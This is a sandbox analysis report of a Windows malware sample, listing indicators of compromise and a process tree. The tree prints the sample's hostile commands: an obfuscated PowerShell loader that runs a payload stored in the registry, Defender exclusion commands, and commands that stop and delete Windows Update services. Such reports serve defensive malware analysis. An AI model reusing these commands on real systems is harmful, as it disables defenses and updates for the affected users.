78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859

Analysis

max time kernel
304s
max time network
318s
platform
windows10-1703_x64
resource
win10-20220812-en
resource tags

arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system
submitted
30/10/2022, 22:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859.exe
Size 2.8MB
Sample221030-179phsdhdn
SHA256 78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859
MD5 9253ed091d81e076a3037e12af3dc871
SHA1 ec02829a25b3bf57ad061bbe54180d0c99c76981
SHA512 29ff2fd5f150d10b2d281a45df5b44873192605de8dc95278d6a7b5053370e4ac64a47100b13c63f3c048df351a9b51f0b93af7d922399a91508a50c152e8cf4
SSDEEP 49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

evasion

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

description	pid	Process	procid_target
PID 1444 created 572	1444	powershell.EXE	3
PID 4668 created 4368	4668	svchost.exe	41
PID 4668 created 3664	4668	svchost.exe	43
PID 820 created 572	820	powershell.EXE	3

Executes dropped EXE 1 IoCs

pid	Process
1368	updater.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Drops file in System32 directory 12 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\80237EE4964FC9C409AAF55BF996A292_E503B048B745DFA14B81FCFC68D6DECE	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\80237EE4964FC9C409AAF55BF996A292_E503B048B745DFA14B81FCFC68D6DECE	OfficeClickToRun.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat	DllHost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 4952 set thread context of 512	4952	78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859.exe	90
PID 1444 set thread context of 2188	1444	powershell.EXE	104
PID 820 set thread context of 1080	820	powershell.EXE	105
PID 1368 set thread context of 2476	1368	updater.exe	126
PID 1368 set thread context of 428	1368	updater.exe	132

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Tasks\dialersvc32.job	dialer.exe
File created	C:\Windows\Tasks\dialersvc64.job	dialer.exe
File opened for modification	C:\Windows\Tasks\dialersvc64.job	dialer.exe
File opened for modification	C:\Windows\Debug\ESE.TXT	DllHost.exe
File created	C:\Windows\Tasks\dialersvc32.job	dialer.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4896	sc.exe
692	sc.exe
2572	sc.exe
3324	sc.exe
4292	sc.exe
3980	sc.exe
3184	sc.exe
4604	sc.exe
488	sc.exe
2004	sc.exe

Program crash 3 IoCs

pid	pid_target	Process	procid_target
2648	3664	WerFault.exe	43
4764	4368	WerFault.exe	41
2836	1416	WerFault.exe	133

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1628	powershell.exe
1628	powershell.exe
1628	powershell.exe
3708	powershell.exe
3708	powershell.exe
3708	powershell.exe
4960	powershell.exe
4960	powershell.exe
4960	powershell.exe
1444	powershell.EXE
1444	powershell.EXE
1444	powershell.EXE
1444	powershell.EXE
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
2648	WerFault.exe
4764	WerFault.exe
4764	WerFault.exe
4764	WerFault.exe
4764	WerFault.exe
4764	WerFault.exe
4764	WerFault.exe
4764	WerFault.exe
4764	WerFault.exe
4764	WerFault.exe
4764	WerFault.exe
4764	WerFault.exe
4764	WerFault.exe
4764	WerFault.exe
4764	WerFault.exe
4764	WerFault.exe
2188	dllhost.exe
2188	dllhost.exe
2188	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2592	Explorer.EXE

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
620	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1628	powershell.exe
Token: SeIncreaseQuotaPrivilege	1628	powershell.exe
Token: SeSecurityPrivilege	1628	powershell.exe
Token: SeTakeOwnershipPrivilege	1628	powershell.exe
Token: SeLoadDriverPrivilege	1628	powershell.exe
Token: SeSystemProfilePrivilege	1628	powershell.exe
Token: SeSystemtimePrivilege	1628	powershell.exe
Token: SeProfSingleProcessPrivilege	1628	powershell.exe
Token: SeIncBasePriorityPrivilege	1628	powershell.exe
Token: SeCreatePagefilePrivilege	1628	powershell.exe
Token: SeBackupPrivilege	1628	powershell.exe
Token: SeRestorePrivilege	1628	powershell.exe
Token: SeShutdownPrivilege	1628	powershell.exe
Token: SeDebugPrivilege	1628	powershell.exe
Token: SeSystemEnvironmentPrivilege	1628	powershell.exe
Token: SeRemoteShutdownPrivilege	1628	powershell.exe
Token: SeUndockPrivilege	1628	powershell.exe
Token: SeManageVolumePrivilege	1628	powershell.exe
Token: 33	1628	powershell.exe
Token: 34	1628	powershell.exe
Token: 35	1628	powershell.exe
Token: 36	1628	powershell.exe
Token: SeDebugPrivilege	3708	powershell.exe
Token: SeShutdownPrivilege	4752	powercfg.exe
Token: SeCreatePagefilePrivilege	4752	powercfg.exe
Token: SeShutdownPrivilege	4344	powercfg.exe
Token: SeCreatePagefilePrivilege	4344	powercfg.exe
Token: SeShutdownPrivilege	4492	powercfg.exe
Token: SeCreatePagefilePrivilege	4492	powercfg.exe
Token: SeShutdownPrivilege	5000	powercfg.exe
Token: SeCreatePagefilePrivilege	5000	powercfg.exe
Token: SeIncreaseQuotaPrivilege	3708	powershell.exe
Token: SeSecurityPrivilege	3708	powershell.exe
Token: SeTakeOwnershipPrivilege	3708	powershell.exe
Token: SeLoadDriverPrivilege	3708	powershell.exe
Token: SeSystemProfilePrivilege	3708	powershell.exe
Token: SeSystemtimePrivilege	3708	powershell.exe
Token: SeProfSingleProcessPrivilege	3708	powershell.exe
Token: SeIncBasePriorityPrivilege	3708	powershell.exe
Token: SeCreatePagefilePrivilege	3708	powershell.exe
Token: SeBackupPrivilege	3708	powershell.exe
Token: SeRestorePrivilege	3708	powershell.exe
Token: SeShutdownPrivilege	3708	powershell.exe
Token: SeDebugPrivilege	3708	powershell.exe
Token: SeSystemEnvironmentPrivilege	3708	powershell.exe
Token: SeRemoteShutdownPrivilege	3708	powershell.exe
Token: SeUndockPrivilege	3708	powershell.exe
Token: SeManageVolumePrivilege	3708	powershell.exe
Token: 33	3708	powershell.exe
Token: 34	3708	powershell.exe
Token: 35	3708	powershell.exe
Token: 36	3708	powershell.exe
Token: SeIncreaseQuotaPrivilege	3708	powershell.exe
Token: SeSecurityPrivilege	3708	powershell.exe
Token: SeTakeOwnershipPrivilege	3708	powershell.exe
Token: SeLoadDriverPrivilege	3708	powershell.exe
Token: SeSystemProfilePrivilege	3708	powershell.exe
Token: SeSystemtimePrivilege	3708	powershell.exe
Token: SeProfSingleProcessPrivilege	3708	powershell.exe
Token: SeIncBasePriorityPrivilege	3708	powershell.exe
Token: SeCreatePagefilePrivilege	3708	powershell.exe
Token: SeBackupPrivilege	3708	powershell.exe
Token: SeRestorePrivilege	3708	powershell.exe
Token: SeShutdownPrivilege	3708	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
988	dwm.exe
988	dwm.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4952 wrote to memory of 1628	4952	78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859.exe	66
PID 4952 wrote to memory of 1628	4952	78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859.exe	66
PID 4952 wrote to memory of 1060	4952	78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859.exe	69
PID 4952 wrote to memory of 1060	4952	78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859.exe	69
PID 4952 wrote to memory of 3512	4952	78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859.exe	71
PID 4952 wrote to memory of 3512	4952	78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859.exe	71
PID 4952 wrote to memory of 3708	4952	78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859.exe	74
PID 4952 wrote to memory of 3708	4952	78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859.exe	74
PID 1060 wrote to memory of 4292	1060	cmd.exe	75
PID 1060 wrote to memory of 4292	1060	cmd.exe	75
PID 1060 wrote to memory of 4896	1060	cmd.exe	76
PID 1060 wrote to memory of 4896	1060	cmd.exe	76
PID 3512 wrote to memory of 4752	3512	cmd.exe	77
PID 3512 wrote to memory of 4752	3512	cmd.exe	77
PID 3512 wrote to memory of 4344	3512	cmd.exe	78
PID 3512 wrote to memory of 4344	3512	cmd.exe	78
PID 1060 wrote to memory of 3980	1060	cmd.exe	79
PID 1060 wrote to memory of 3980	1060	cmd.exe	79
PID 3512 wrote to memory of 4492	3512	cmd.exe	80
PID 3512 wrote to memory of 4492	3512	cmd.exe	80
PID 1060 wrote to memory of 692	1060	cmd.exe	81
PID 1060 wrote to memory of 692	1060	cmd.exe	81
PID 3512 wrote to memory of 5000	3512	cmd.exe	82
PID 3512 wrote to memory of 5000	3512	cmd.exe	82
PID 1060 wrote to memory of 3184	1060	cmd.exe	83
PID 1060 wrote to memory of 3184	1060	cmd.exe	83
PID 1060 wrote to memory of 4044	1060	cmd.exe	84
PID 1060 wrote to memory of 4044	1060	cmd.exe	84
PID 1060 wrote to memory of 4692	1060	cmd.exe	85
PID 1060 wrote to memory of 4692	1060	cmd.exe	85
PID 1060 wrote to memory of 3860	1060	cmd.exe	86
PID 1060 wrote to memory of 3860	1060	cmd.exe	86
PID 1060 wrote to memory of 5028	1060	cmd.exe	87
PID 1060 wrote to memory of 5028	1060	cmd.exe	87
PID 1060 wrote to memory of 4976	1060	cmd.exe	88
PID 1060 wrote to memory of 4976	1060	cmd.exe	88
PID 4952 wrote to memory of 512	4952	78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859.exe	90
PID 4952 wrote to memory of 512	4952	78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859.exe	90
PID 4952 wrote to memory of 512	4952	78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859.exe	90
PID 4952 wrote to memory of 4960	4952	78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859.exe	91
PID 4952 wrote to memory of 4960	4952	78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859.exe	91
PID 4960 wrote to memory of 864	4960	powershell.exe	94
PID 4960 wrote to memory of 864	4960	powershell.exe	94
PID 1444 wrote to memory of 2188	1444	powershell.EXE	104
PID 1444 wrote to memory of 2188	1444	powershell.EXE	104
PID 1444 wrote to memory of 2188	1444	powershell.EXE	104
PID 1444 wrote to memory of 2188	1444	powershell.EXE	104
PID 1444 wrote to memory of 2188	1444	powershell.EXE	104
PID 1444 wrote to memory of 2188	1444	powershell.EXE	104
PID 1444 wrote to memory of 2188	1444	powershell.EXE	104
PID 1444 wrote to memory of 2188	1444	powershell.EXE	104
PID 1444 wrote to memory of 2188	1444	powershell.EXE	104
PID 1444 wrote to memory of 2188	1444	powershell.EXE	104
PID 1444 wrote to memory of 2188	1444	powershell.EXE	104
PID 2188 wrote to memory of 572	2188	dllhost.exe	3
PID 2188 wrote to memory of 628	2188	dllhost.exe	1
PID 2188 wrote to memory of 732	2188	dllhost.exe	27
PID 2188 wrote to memory of 900	2188	dllhost.exe	22
PID 2188 wrote to memory of 988	2188	dllhost.exe	10
PID 2188 wrote to memory of 1008	2188	dllhost.exe	17
PID 2188 wrote to memory of 1016	2188	dllhost.exe	11
PID 2188 wrote to memory of 356	2188	dllhost.exe	15
PID 2188 wrote to memory of 1052	2188	dllhost.exe	13
PID 2188 wrote to memory of 1088	2188	dllhost.exe	14

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:628

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:572
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  - Suspicious use of FindShellTrayWindow
  PID:988
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{0de8e65c-b704-48ea-92b8-d32af50ed7a1}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2188
- C:\Windows\SysWOW64\dllhost.exe
  C:\Windows\SysWOW64\dllhost.exe /Processid:{c06b2335-503a-4ce1-b913-dac72b03c391}
  2⤵
  PID:1080

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:1016

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
PID:1052
- c:\windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2912
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  PID:820
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1872
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  PID:1368
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    PID:4048
- - C:\Windows\system32\cmd.exe
    cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:3976
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2152
  - - C:\Windows\system32\sc.exe
      sc stop UsoSvc
      4⤵
      Launches sc.exe
      PID:4604
  - - C:\Windows\system32\sc.exe
      sc stop WaaSMedicSvc
      4⤵
      Launches sc.exe
      PID:488
  - - C:\Windows\system32\sc.exe
      sc stop wuauserv
      4⤵
      Launches sc.exe
      PID:2004
  - - C:\Windows\system32\sc.exe
      sc stop bits
      4⤵
      Launches sc.exe
      PID:2572
  - - C:\Windows\system32\sc.exe
      sc stop dosvc
      4⤵
      Launches sc.exe
      PID:3324
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
      4⤵
      PID:4448
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
      4⤵
      PID:2336
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
      4⤵
      PID:4588
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
      4⤵
      PID:4332
  - - C:\Windows\system32\reg.exe
      reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
      4⤵
      PID:476
- - C:\Windows\system32\cmd.exe
    cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
    3⤵
    PID:4644
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3932
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -hibernate-timeout-ac 0
      4⤵
      PID:4356
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -hibernate-timeout-dc 0
      4⤵
      PID:4292
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -standby-timeout-ac 0
      4⤵
      PID:4880
  - - C:\Windows\system32\powercfg.exe
      powercfg /x -standby-timeout-dc 0
      4⤵
      PID:2412
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
